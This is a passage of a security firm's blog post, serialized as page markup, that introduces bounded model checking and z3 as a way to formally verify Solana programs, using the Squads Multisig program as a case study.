",{"type":21,"tag":1671,"props":19569,"children":19570},{},[19571],{"type":27,"value":17175},{"type":27,"value":19573}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":21,"tag":1671,"props":19575,"children":19576},{},[19577],{"type":27,"value":19578},"juciest",{"type":27,"value":19580},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":21,"tag":34,"props":19582,"children":19585},{"href":19583,"rel":19584},"https://rekt.news/leaderboard/",[38],[19586],{"type":27,"value":19587},"hundreds of millions of dollars",{"type":27,"value":658},{"type":21,"tag":19590,"props":19591,"children":19592},"hr",{},[],{"type":21,"tag":30,"props":19594,"children":19595},{},[19596,19598,19603],{"type":27,"value":19597},"At OtterSec we are ",{"type":21,"tag":1671,"props":19599,"children":19600},{},[19601],{"type":27,"value":19602},"highly skilled in pest control",{"type":27,"value":19604}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":21,"tag":30,"props":19606,"children":19607},{},[19608,19610,19617,19619,19626],{"type":27,"value":19609},"Recently we were contacted by the ",{"type":21,"tag":34,"props":19611,"children":19614},{"href":19612,"rel":19613},"https://squads.so/",[38],[19615],{"type":27,"value":19616},"Squads team",{"type":27,"value":19618}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":21,"tag":34,"props":19620,"children":19623},{"href":19621,"rel":19622},"https://github.com/Squads-Protocol/squads-mpl",[38],[19624],{"type":27,"value":19625},"Squads Multisig Program",{"type":27,"value":19627}," as our main case study.",{"type":21,"tag":30,"props":19629,"children":19630},{},[19631,19633,19640,19642,19649],{"type":27,"value":19632},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":21,"tag":34,"props":19634,"children":19637},{"href":19635,"rel":19636},"https://www.anchor-lang.com/",[38],[19638],{"type":27,"value":19639},"anchor-lang",{"type":27,"value":19641}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":21,"tag":34,"props":19643,"children":19646},{"href":19644,"rel":19645},"https://github.com/model-checking/kani",[38],[19647],{"type":27,"value":19648},"Kani Rust Verifier",{"type":27,"value":19650},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":21,"tag":30,"props":19652,"children":19653},{},[19654,19656,19661],{"type":27,"value":19655},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":21,"tag":1671,"props":19657,"children":19658},{},[19659],{"type":27,"value":19660},"bounded model checking",{"type":27,"value":19662}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":21,"tag":30,"props":19664,"children":19665},{},[19666],{"type":21,"tag":1671,"props":19667,"children":19668},{},[19669,19671,19678,19680],{"type":27,"value":19670},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":21,"tag":34,"props":19672,"children":19675},{"href":19673,"rel":19674},"https://osec.io/contact",[38],[19676],{"type":27,"value":19677},"this form",{"type":27,"value":19679}," or email us at ",{"type":21,"tag":34,"props":19681,"children":19683},{"href":19682},"mailto:contact@osec.io",[19684],{"type":27,"value":19685},"contact@osec.io",{"type":21,"tag":19590,"props":19687,"children":19688},{},[],{"type":21,"tag":162,"props":19690,"children":19692},{"id":19691},"contents",[19693],{"type":27,"value":19694},"Contents:",{"type":21,"tag":71,"props":19696,"children":19697},{},[19698,19703,19720,19730,19735,19740],{"type":21,"tag":75,"props":19699,"children":19700},{},[19701],{"type":27,"value":19702},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":21,"tag":75,"props":19704,"children":19705},{},[19706,19711,19713,19718],{"type":21,"tag":6137,"props":19707,"children":19708},{},[19709],{"type":27,"value":19710},"Specification",{"type":27,"value":19712},": How can we describe what we ",{"type":21,"tag":1671,"props":19714,"children":19715},{},[19716],{"type":27,"value":19717},"want",{"type":27,"value":19719}," our program to do?",{"type":21,"tag":75,"props":19721,"children":19722},{},[19723,19728],{"type":21,"tag":6137,"props":19724,"children":19725},{},[19726],{"type":27,"value":19727},"Verification",{"type":27,"value":19729},": How do we check that our model is correct?",{"type":21,"tag":75,"props":19731,"children":19732},{},[19733],{"type":27,"value":19734},"Case Study: Squads Multisig",{"type":21,"tag":75,"props":19736,"children":19737},{},[19738],{"type":27,"value":19739},"Additional challenges in Solana",{"type":21,"tag":75,"props":19741,"children":19742},{},[19743],{"type":27,"value":3589},{"type":21,"tag":22,"props":19745,"children":19747},{"id":19746},"formal-verification-with-bounded-model-checking",[19748],{"type":27,"value":19749},"Formal Verification with Bounded Model Checking",{"type":21,"tag":59,"props":19751,"children":19752},{"id":24},[19753],{"type":27,"value":28},{"type":21,"tag":30,"props":19755,"children":19756},{},[19757],{"type":27,"value":19758},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":21,"tag":30,"props":19760,"children":19761},{},[19762,19764,19769],{"type":27,"value":19763},"There are many different flavors of formal verification, however in this research we are using ",{"type":21,"tag":6137,"props":19765,"children":19766},{},[19767],{"type":27,"value":19768},"bounded model checking (BMC)",{"type":27,"value":658},{"type":21,"tag":30,"props":19771,"children":19772},{},[19773,19775,19780,19782,19787,19789,19793,19795,19801,19803,19809],{"type":27,"value":19774},"In short, the idea of BMC is to execute our program ",{"type":21,"tag":1671,"props":19776,"children":19777},{},[19778],{"type":27,"value":19779},"symbolically",{"type":27,"value":19781}," rather than ",{"type":21,"tag":1671,"props":19783,"children":19784},{},[19785],{"type":27,"value":19786},"concretely",{"type":27,"value":19788},". Instead of actually performing an ",{"type":21,"tag":1671,"props":19790,"children":19791},{},[19792],{"type":27,"value":10448},{"type":27,"value":19794}," when we see the line ",{"type":21,"tag":194,"props":19796,"children":19798},{"className":19797},[],[19799],{"type":27,"value":19800},"int x = a + b",{"type":27,"value":19802},", we store the symbolic expression ",{"type":21,"tag":194,"props":19804,"children":19806},{"className":19805},[],[19807],{"type":27,"value":19808},"x == a + b",{"type":27,"value":19810},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":21,"tag":30,"props":19812,"children":19813},{},[19814],{"type":27,"value":19815},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":21,"tag":59,"props":19817,"children":19819},{"id":19818},"a-simple-example",[19820],{"type":27,"value":19821},"A simple example",{"type":21,"tag":30,"props":19823,"children":19824},{},[19825],{"type":27,"value":19826},"As an example, consider the following function:",{"type":21,"tag":187,"props":19828,"children":19830},{"code":19829,"language":3954,"meta":7,"className":17318,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[19831],{"type":21,"tag":194,"props":19832,"children":19833},{"__ignoreMap":7},[19834,19864,19898,19910,19935,19963,19978,20005,20012,20019,20027,20053],{"type":21,"tag":198,"props":19835,"children":19836},{"class":200,"line":201},[19837,19842,19847,19851,19855,19860],{"type":21,"tag":198,"props":19838,"children":19839},{"style":249},[19840],{"type":27,"value":19841},"int",{"type":21,"tag":198,"props":19843,"children":19844},{"style":698},[19845],{"type":27,"value":19846}," foo",{"type":21,"tag":198,"props":19848,"children":19849},{"style":211},[19850],{"type":27,"value":706},{"type":21,"tag":198,"props":19852,"children":19853},{"style":249},[19854],{"type":27,"value":19841},{"type":21,"tag":198,"props":19856,"children":19857},{"style":226},[19858],{"type":27,"value":19859}," x",{"type":21,"tag":198,"props":19861,"children":19862},{"style":211},[19863],{"type":27,"value":668},{"type":21,"tag":198,"props":19865,"children":19866},{"class":200,"line":217},[19867,19872,19876,19880,19885,19889,19894],{"type":21,"tag":198,"props":19868,"children":19869},{"style":249},[19870],{"type":27,"value":19871}," int",{"type":21,"tag":198,"props":19873,"children":19874},{"style":211},[19875],{"type":27,"value":5326},{"type":21,"tag":198,"props":19877,"children":19878},{"style":683},[19879],{"type":27,"value":3174},{"type":21,"tag":198,"props":19881,"children":19882},{"style":211},[19883],{"type":27,"value":19884}," x ",{"type":21,"tag":198,"props":19886,"children":19887},{"style":683},[19888],{"type":27,"value":5193},{"type":21,"tag":198,"props":19890,"children":19891},{"style":2540},[19892],{"type":27,"value":19893}," 3",{"type":21,"tag":198,"props":19895,"children":19896},{"style":211},[19897],{"type":27,"value":1483},{"type":21,"tag":198,"props":19899,"children":19900},{"class":200,"line":236},[19901,19905],{"type":21,"tag":198,"props":19902,"children":19903},{"style":249},[19904],{"type":27,"value":19871},{"type":21,"tag":198,"props":19906,"children":19907},{"style":211},[19908],{"type":27,"value":19909}," z;\n",{"type":21,"tag":198,"props":19911,"children":19912},{"class":200,"line":260},[19913,19917,19922,19926,19931],{"type":21,"tag":198,"props":19914,"children":19915},{"style":640},[19916],{"type":27,"value":643},{"type":21,"tag":198,"props":19918,"children":19919},{"style":211},[19920],{"type":27,"value":19921}," (y ",{"type":21,"tag":198,"props":19923,"children":19924},{"style":683},[19925],{"type":27,"value":11270},{"type":21,"tag":198,"props":19927,"children":19928},{"style":2540},[19929],{"type":27,"value":19930}," 100",{"type":21,"tag":198,"props":19932,"children":19933},{"style":211},[19934],{"type":27,"value":668},{"type":21,"tag":198,"props":19936,"children":19937},{"class":200,"line":281},[19938,19943,19947,19951,19955,19959],{"type":21,"tag":198,"props":19939,"children":19940},{"style":211},[19941],{"type":27,"value":19942}," z ",{"type":21,"tag":198,"props":19944,"children":19945},{"style":683},[19946],{"type":27,"value":3174},{"type":21,"tag":198,"props":19948,"children":19949},{"style":211},[19950],{"type":27,"value":5326},{"type":21,"tag":198,"props":19952,"children":19953},{"style":683},[19954],{"type":27,"value":5383},{"type":21,"tag":198,"props":19956,"children":19957},{"style":2540},[19958],{"type":27,"value":8745},{"type":21,"tag":198,"props":19960,"children":19961},{"style":211},[19962],{"type":27,"value":1483},{"type":21,"tag":198,"props":19964,"children":19965},{"class":200,"line":302},[19966,19970,19974],{"type":21,"tag":198,"props":19967,"children":19968},{"style":211},[19969],{"type":27,"value":16582},{"type":21,"tag":198,"props":19971,"children":19972},{"style":640},[19973],{"type":27,"value":4122},{"type":21,"tag":198,"props":19975,"children":19976},{"style":211},[19977],{"type":27,"value":233},{"type":21,"tag":198,"props":19979,"children":19980},{"class":200,"line":323},[19981,19985,19989,19993,19997,20001],{"type":21,"tag":198,"props":19982,"children":19983},{"style":211},[19984],{"type":27,"value":19942},{"type":21,"tag":198,"props":19986,"children":19987},{"style":683},[19988],{"type":27,"value":3174},{"type":21,"tag":198,"props":19990,"children":19991},{"style":211},[19992],{"type":27,"value":5326},{"type":21,"tag":198,"props":19994,"children":19995},{"style":683},[19996],{"type":27,"value":5193},{"type":21,"tag":198,"props":19998,"children":19999},{"style":2540},[20000],{"type":27,"value":5335},{"type":21,"tag":198,"props":20002,"children":20003},{"style":211},[20004],{"type":27,"value":1483},{"type":21,"tag":198,"props":20006,"children":20007},{"class":200,"line":344},[20008],{"type":21,"tag":198,"props":20009,"children":20010},{"style":211},[20011],{"type":27,"value":880},{"type":21,"tag":198,"props":20013,"children":20014},{"class":200,"line":365},[20015],{"type":21,"tag":198,"props":20016,"children":20017},{"emptyLinePlaceholder":16},[20018],{"type":27,"value":1283},{"type":21,"tag":198,"props":20020,"children":20021},{"class":200,"line":386},[20022],{"type":21,"tag":198,"props":20023,"children":20024},{"style":1233},[20025],{"type":27,"value":20026}," // Property P:\n",{"type":21,"tag":198,"props":20028,"children":20029},{"class":200,"line":408},[20030,20035,20040,20044,20049],{"type":21,"tag":198,"props":20031,"children":20032},{"style":698},[20033],{"type":27,"value":20034}," assert",{"type":21,"tag":198,"props":20036,"children":20037},{"style":211},[20038],{"type":27,"value":20039},"(z ",{"type":21,"tag":198,"props":20041,"children":20042},{"style":683},[20043],{"type":27,"value":16491},{"type":21,"tag":198,"props":20045,"children":20046},{"style":2540},[20047],{"type":27,"value":20048}," 105",{"type":21,"tag":198,"props":20050,"children":20051},{"style":211},[20052],{"type":27,"value":1470},{"type":21,"tag":198,"props":20054,"children":20055},{"class":200,"line":429},[20056],{"type":21,"tag":198,"props":20057,"children":20058},{"style":211},[20059],{"type":27,"value":1120},{"type":21,"tag":30,"props":20061,"children":20062},{},[20063,20065,20071,20073,20079],{"type":27,"value":20064},"This function takes an input ",{"type":21,"tag":194,"props":20066,"children":20068},{"className":20067},[],[20069],{"type":27,"value":20070},"x",{"type":27,"value":20072}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":21,"tag":194,"props":20074,"children":20076},{"className":20075},[],[20077],{"type":27,"value":20078},"z != 105",{"type":27,"value":658},{"type":21,"tag":30,"props":20081,"children":20082},{},[20083],{"type":27,"value":20084},"With BMC, we could trace this program and derive the following constraints:",{"type":21,"tag":30,"props":20086,"children":20087},{},[20088],{"type":27,"value":20089},"Positive branch:",{"type":21,"tag":187,"props":20091,"children":20093},{"code":20092,"language":3954,"meta":7,"className":17318,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[20094],{"type":21,"tag":194,"props":20095,"children":20096},{"__ignoreMap":7},[20097,20122,20138],{"type":21,"tag":198,"props":20098,"children":20099},{"class":200,"line":201},[20100,20105,20109,20113,20117],{"type":21,"tag":198,"props":20101,"children":20102},{"style":211},[20103],{"type":27,"value":20104},"y ",{"type":21,"tag":198,"props":20106,"children":20107},{"style":683},[20108],{"type":27,"value":9386},{"type":21,"tag":198,"props":20110,"children":20111},{"style":211},[20112],{"type":27,"value":19884},{"type":21,"tag":198,"props":20114,"children":20115},{"style":683},[20116],{"type":27,"value":5193},{"type":21,"tag":198,"props":20118,"children":20119},{"style":2540},[20120],{"type":27,"value":20121}," 3\n",{"type":21,"tag":198,"props":20123,"children":20124},{"class":200,"line":217},[20125,20129,20133],{"type":21,"tag":198,"props":20126,"children":20127},{"style":211},[20128],{"type":27,"value":20104},{"type":21,"tag":198,"props":20130,"children":20131},{"style":683},[20132],{"type":27,"value":11270},{"type":21,"tag":198,"props":20134,"children":20135},{"style":2540},[20136],{"type":27,"value":20137}," 100\n",{"type":21,"tag":198,"props":20139,"children":20140},{"class":200,"line":236},[20141,20146,20150,20154,20158],{"type":21,"tag":198,"props":20142,"children":20143},{"style":211},[20144],{"type":27,"value":20145},"z ",{"type":21,"tag":198,"props":20147,"children":20148},{"style":683},[20149],{"type":27,"value":9386},{"type":21,"tag":198,"props":20151,"children":20152},{"style":211},[20153],{"type":27,"value":5326},{"type":21,"tag":198,"props":20155,"children":20156},{"style":683},[20157],{"type":27,"value":5383},{"type":21,"tag":198,"props":20159,"children":20160},{"style":2540},[20161],{"type":27,"value":20162}," 2\n",{"type":21,"tag":30,"props":20164,"children":20165},{},[20166],{"type":27,"value":20167},"Negative branch:",{"type":21,"tag":187,"props":20169,"children":20171},{"code":20170,"language":3954,"meta":7,"className":17318,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[20172],{"type":21,"tag":194,"props":20173,"children":20174},{"__ignoreMap":7},[20175,20198,20214],{"type":21,"tag":198,"props":20176,"children":20177},{"class":200,"line":201},[20178,20182,20186,20190,20194],{"type":21,"tag":198,"props":20179,"children":20180},{"style":211},[20181],{"type":27,"value":20104},{"type":21,"tag":198,"props":20183,"children":20184},{"style":683},[20185],{"type":27,"value":9386},{"type":21,"tag":198,"props":20187,"children":20188},{"style":211},[20189],{"type":27,"value":19884},{"type":21,"tag":198,"props":20191,"children":20192},{"style":683},[20193],{"type":27,"value":5193},{"type":21,"tag":198,"props":20195,"children":20196},{"style":2540},[20197],{"type":27,"value":20121},{"type":21,"tag":198,"props":20199,"children":20200},{"class":200,"line":217},[20201,20205,20210],{"type":21,"tag":198,"props":20202,"children":20203},{"style":211},[20204],{"type":27,"value":20104},{"type":21,"tag":198,"props":20206,"children":20207},{"style":683},[20208],{"type":27,"value":20209},"\u003C=",{"type":21,"tag":198,"props":20211,"children":20212},{"style":2540},[20213],{"type":27,"value":20137},{"type":21,"tag":198,"props":20215,"children":20216},{"class":200,"line":236},[20217,20221,20225,20229,20233],{"type":21,"tag":198,"props":20218,"children":20219},{"style":211},[20220],{"type":27,"value":20145},{"type":21,"tag":198,"props":20222,"children":20223},{"style":683},[20224],{"type":27,"value":9386},{"type":21,"tag":198,"props":20226,"children":20227},{"style":211},[20228],{"type":27,"value":5326},{"type":21,"tag":198,"props":20230,"children":20231},{"style":683},[20232],{"type":27,"value":5193},{"type":21,"tag":198,"props":20234,"children":20235},{"style":2540},[20236],{"type":27,"value":20237}," 1\n",{"type":21,"tag":30,"props":20239,"children":20240},{},[20241,20243,20250],{"type":27,"value":20242},"Using the ",{"type":21,"tag":34,"props":20244,"children":20247},{"href":20245,"rel":20246},"https://github.com/Z3Prover/z3",[38],[20248],{"type":27,"value":20249},"z3",{"type":27,"value":20251}," SMT solver, we could check both of these cases like so:",{"type":21,"tag":187,"props":20253,"children":20257},{"code":20254,"language":20255,"meta":7,"className":20256,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[20258],{"type":21,"tag":194,"props":20259,"children":20260},{"__ignoreMap":7},[20261,20284,20291,20317,20341,20365,20372,20380,20397,20425,20444,20472,20479,20487,20507,20525,20532,20540,20555,20582,20601,20628,20635,20642,20661],{"type":21,"tag":198,"props":20262,"children":20263},{"class":200,"line":201},[20264,20269,20274,20279],{"type":21,"tag":198,"props":20265,"children":20266},{"style":640},[20267],{"type":27,"value":20268},"from",{"type":21,"tag":198,"props":20270,"children":20271},{"style":211},[20272],{"type":27,"value":20273}," z3 ",{"type":21,"tag":198,"props":20275,"children":20276},{"style":640},[20277],{"type":27,"value":20278},"import",{"type":21,"tag":198,"props":20280,"children":20281},{"style":683},[20282],{"type":27,"value":20283}," *\n",{"type":21,"tag":198,"props":20285,"children":20286},{"class":200,"line":217},[20287],{"type":21,"tag":198,"props":20288,"children":20289},{"emptyLinePlaceholder":16},[20290],{"type":27,"value":1283},{"type":21,"tag":198,"props":20292,"children":20293},{"class":200,"line":236},[20294,20299,20303,20308,20313],{"type":21,"tag":198,"props":20295,"children":20296},{"style":211},[20297],{"type":27,"value":20298},"x ",{"type":21,"tag":198,"props":20300,"children":20301},{"style":683},[20302],{"type":27,"value":3174},{"type":21,"tag":198,"props":20304,"children":20305},{"style":211},[20306],{"type":27,"value":20307}," Int(",{"type":21,"tag":198,"props":20309,"children":20310},{"style":205},[20311],{"type":27,"value":20312},"'x'",{"type":21,"tag":198,"props":20314,"children":20315},{"style":211},[20316],{"type":27,"value":789},{"type":21,"tag":198,"props":20318,"children":20319},{"class":200,"line":260},[20320,20324,20328,20332,20337],{"type":21,"tag":198,"props":20321,"children":20322},{"style":211},[20323],{"type":27,"value":20104},{"type":21,"tag":198,"props":20325,"children":20326},{"style":683},[20327],{"type":27,"value":3174},{"type":21,"tag":198,"props":20329,"children":20330},{"style":211},[20331],{"type":27,"value":20307},{"type":21,"tag":198,"props":20333,"children":20334},{"style":205},[20335],{"type":27,"value":20336},"'y'",{"type":21,"tag":198,"props":20338,"children":20339},{"style":211},[20340],{"type":27,"value":789},{"type":21,"tag":198,"props":20342,"children":20343},{"class":200,"line":281},[20344,20348,20352,20356,20361],{"type":21,"tag":198,"props":20345,"children":20346},{"style":211},[20347],{"type":27,"value":20145},{"type":21,"tag":198,"props":20349,"children":20350},{"style":683},[20351],{"type":27,"value":3174},{"type":21,"tag":198,"props":20353,"children":20354},{"style":211},[20355],{"type":27,"value":20307},{"type":21,"tag":198,"props":20357,"children":20358},{"style":205},[20359],{"type":27,"value":20360},"'z'",{"type":21,"tag":198,"props":20362,"children":20363},{"style":211},[20364],{"type":27,"value":789},{"type":21,"tag":198,"props":20366,"children":20367},{"class":200,"line":302},[20368],{"type":21,"tag":198,"props":20369,"children":20370},{"emptyLinePlaceholder":16},[20371],{"type":27,"value":1283},{"type":21,"tag":198,"props":20373,"children":20374},{"class":200,"line":323},[20375],{"type":21,"tag":198,"props":20376,"children":20377},{"style":1233},[20378],{"type":27,"value":20379},"# Positive branch:\n",{"type":21,"tag":198,"props":20381,"children":20382},{"class":200,"line":344},[20383,20388,20392],{"type":21,"tag":198,"props":20384,"children":20385},{"style":211},[20386],{"type":27,"value":20387},"s ",{"type":21,"tag":198,"props":20389,"children":20390},{"style":683},[20391],{"type":27,"value":3174},{"type":21,"tag":198,"props":20393,"children":20394},{"style":211},[20395],{"type":27,"value":20396}," Solver()\n",{"type":21,"tag":198,"props":20398,"children":20399},{"class":200,"line":365},[20400,20405,20409,20413,20417,20421],{"type":21,"tag":198,"props":20401,"children":20402},{"style":211},[20403],{"type":27,"value":20404},"s.add(y ",{"type":21,"tag":198,"props":20406,"children":20407},{"style":683},[20408],{"type":27,"value":9386},{"type":21,"tag":198,"props":20410,"children":20411},{"style":211},[20412],{"type":27,"value":19884},{"type":21,"tag":198,"props":20414,"children":20415},{"style":683},[20416],{"type":27,"value":5193},{"type":21,"tag":198,"props":20418,"children":20419},{"style":2540},[20420],{"type":27,"value":19893},{"type":21,"tag":198,"props":20422,"children":20423},{"style":211},[20424],{"type":27,"value":789},{"type":21,"tag":198,"props":20426,"children":20427},{"class":200,"line":386},[20428,20432,20436,20440],{"type":21,"tag":198,"props":20429,"children":20430},{"style":211},[20431],{"type":27,"value":20404},{"type":21,"tag":198,"props":20433,"children":20434},{"style":683},[20435],{"type":27,"value":11270},{"type":21,"tag":198,"props":20437,"children":20438},{"style":2540},[20439],{"type":27,"value":19930},{"type":21,"tag":198,"props":20441,"children":20442},{"style":211},[20443],{"type":27,"value":789},{"type":21,"tag":198,"props":20445,"children":20446},{"class":200,"line":408},[20447,20452,20456,20460,20464,20468],{"type":21,"tag":198,"props":20448,"children":20449},{"style":211},[20450],{"type":27,"value":20451},"s.add(z ",{"type":21,"tag":198,"props":20453,"children":20454},{"style":683},[20455],{"type":27,"value":9386},{"type":21,"tag":198,"props":20457,"children":20458},{"style":211},[20459],{"type":27,"value":5326},{"type":21,"tag":198,"props":20461,"children":20462},{"style":683},[20463],{"type":27,"value":5383},{"type":21,"tag":198,"props":20465,"children":20466},{"style":2540},[20467],{"type":27,"value":8745},{"type":21,"tag":198,"props":20469,"children":20470},{"style":211},[20471],{"type":27,"value":789},{"type":21,"tag":198,"props":20473,"children":20474},{"class":200,"line":429},[20475],{"type":21,"tag":198,"props":20476,"children":20477},{"emptyLinePlaceholder":16},[20478],{"type":27,"value":1283},{"type":21,"tag":198,"props":20480,"children":20481},{"class":200,"line":450},[20482],{"type":21,"tag":198,"props":20483,"children":20484},{"style":1233},[20485],{"type":27,"value":20486},"# check if we can violate the correctness property\n",{"type":21,"tag":198,"props":20488,"children":20489},{"class":200,"line":468},[20490,20495,20499,20503],{"type":21,"tag":198,"props":20491,"children":20492},{"style":211},[20493],{"type":27,"value":20494},"s.add(Not(z ",{"type":21,"tag":198,"props":20496,"children":20497},{"style":683},[20498],{"type":27,"value":16491},{"type":21,"tag":198,"props":20500,"children":20501},{"style":2540},[20502],{"type":27,"value":20048},{"type":21,"tag":198,"props":20504,"children":20505},{"style":211},[20506],{"type":27,"value":872},{"type":21,"tag":198,"props":20508,"children":20509},{"class":200,"line":477},[20510,20515,20520],{"type":21,"tag":198,"props":20511,"children":20512},{"style":698},[20513],{"type":27,"value":20514},"print",{"type":21,"tag":198,"props":20516,"children":20517},{"style":211},[20518],{"type":27,"value":20519},"(s.check()) ",{"type":21,"tag":198,"props":20521,"children":20522},{"style":1233},[20523],{"type":27,"value":20524},"# \"unsat\"\n",{"type":21,"tag":198,"props":20526,"children":20527},{"class":200,"line":494},[20528],{"type":21,"tag":198,"props":20529,"children":20530},{"emptyLinePlaceholder":16},[20531],{"type":27,"value":1283},{"type":21,"tag":198,"props":20533,"children":20534},{"class":200,"line":515},[20535],{"type":21,"tag":198,"props":20536,"children":20537},{"style":1233},[20538],{"type":27,"value":20539},"# Negative branch:\n",{"type":21,"tag":198,"props":20541,"children":20542},{"class":200,"line":4484},[20543,20547,20551],{"type":21,"tag":198,"props":20544,"children":20545},{"style":211},[20546],{"type":27,"value":20387},{"type":21,"tag":198,"props":20548,"children":20549},{"style":683},[20550],{"type":27,"value":3174},{"type":21,"tag":198,"props":20552,"children":20553},{"style":211},[20554],{"type":27,"value":20396},{"type":21,"tag":198,"props":20556,"children":20557},{"class":200,"line":4493},[20558,20562,20566,20570,20574,20578],{"type":21,"tag":198,"props":20559,"children":20560},{"style":211},[20561],{"type":27,"value":20404},{"type":21,"tag":198,"props":20563,"children":20564},{"style":683},[20565],{"type":27,"value":9386},{"type":21,"tag":198,"props":20567,"children":20568},{"style":211},[20569],{"type":27,"value":19884},{"type":21,"tag":198,"props":20571,"children":20572},{"style":683},[20573],{"type":27,"value":5193},{"type":21,"tag":198,"props":20575,"children":20576},{"style":2540},[20577],{"type":27,"value":19893},{"type":21,"tag":198,"props":20579,"children":20580},{"style":211},[20581],{"type":27,"value":789},{"type":21,"tag":198,"props":20583,"children":20584},{"class":200,"line":4561},[20585,20589,20593,20597],{"type":21,"tag":198,"props":20586,"children":20587},{"style":211},[20588],{"type":27,"value":20404},{"type":21,"tag":198,"props":20590,"children":20591},{"style":683},[20592],{"type":27,"value":20209},{"type":21,"tag":198,"props":20594,"children":20595},{"style":2540},[20596],{"type":27,"value":19930},{"type":21,"tag":198,"props":20598,"children":20599},{"style":211},[20600],{"type":27,"value":789},{"type":21,"tag":198,"props":20602,"children":20603},{"class":200,"line":4569},[20604,20608,20612,20616,20620,20624],{"type":21,"tag":198,"props":20605,"children":20606},{"style":211},[20607],{"type":27,"value":20451},{"type":21,"tag":198,"props":20609,"children":20610},{"style":683},[20611],{"type":27,"value":9386},{"type":21,"tag":198,"props":20613,"children":20614},{"style":211},[20615],{"type":27,"value":5326},{"type":21,"tag":198,"props":20617,"children":20618},{"style":683},[20619],{"type":27,"value":5193},{"type":21,"tag":198,"props":20621,"children":20622},{"style":2540},[20623],{"type":27,"value":5335},{"type":21,"tag":198,"props":20625,"children":20626},{"style":211},[20627],{"type":27,"value":789},{"type":21,"tag":198,"props":20629,"children":20630},{"class":200,"line":4599},[20631],{"type":21,"tag":198,"props":20632,"children":20633},{"emptyLinePlaceholder":16},[20634],{"type":27,"value":1283},{"type":21,"tag":198,"props":20636,"children":20637},{"class":200,"line":4607},[20638],{"type":21,"tag":198,"props":20639,"children":20640},{"style":1233},[20641],{"type":27,"value":20486},{"type":21,"tag":198,"props":20643,"children":20644},{"class":200,"line":4638},[20645,20649,20653,20657],{"type":21,"tag":198,"props":20646,"children":20647},{"style":211},[20648],{"type":27,"value":20494},{"type":21,"tag":198,"props":20650,"children":20651},{"style":683},[20652],{"type":27,"value":16491},{"type":21,"tag":198,"props":20654,"children":20655},{"style":2540},[20656],{"type":27,"value":20048},{"type":21,"tag":198,"props":20658,"children":20659},{"style":211},[20660],{"type":27,"value":872},{"type":21,"tag":198,"props":20662,"children":20663},{"class":200,"line":4646},[20664,20668,20672],{"type":21,"tag":198,"props":20665,"children":20666},{"style":698},[20667],{"type":27,"value":20514},{"type":21,"tag":198,"props":20669,"children":20670},{"style":211},[20671],{"type":27,"value":20519},{"type":21,"tag":198,"props":20673,"children":20674},{"style":1233},[20675],{"type":27,"value":20524},{"type":21,"tag":30,"props":20677,"children":20678},{},[20679,20681,20687,20689,20694],{"type":27,"value":20680},"Both of these cases return ",{"type":21,"tag":194,"props":20682,"children":20684},{"className":20683},[],[20685],{"type":27,"value":20686},"unsat",{"type":27,"value":20688}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":21,"tag":1671,"props":20690,"children":20691},{},[20692],{"type":27,"value":20693},"correct",{"type":27,"value":20695}," according to this property.",{"type":21,"tag":59,"props":20697,"children":20699},{"id":20698},"loop-bounds-path-explosion",[20700],{"type":27,"value":20701},"Loop bounds & path explosion",{"type":21,"tag":30,"props":20703,"children":20704},{},[20705,20707,20712,20714,20719],{"type":27,"value":20706},"As you may have noticed, BMC requires us to take ",{"type":21,"tag":1671,"props":20708,"children":20709},{},[20710],{"type":27,"value":20711},"every",{"type":27,"value":20713}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":21,"tag":1671,"props":20715,"children":20716},{},[20717],{"type":27,"value":20718},"infinite",{"type":27,"value":20720}," number of paths because the loop branches backward. This might take a while...",{"type":21,"tag":30,"props":20722,"children":20723},{},[20724],{"type":27,"value":20725},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":21,"tag":30,"props":20727,"children":20728},{},[20729],{"type":27,"value":20730},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":21,"tag":30,"props":20732,"children":20733},{},[20734],{"type":27,"value":20735},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust 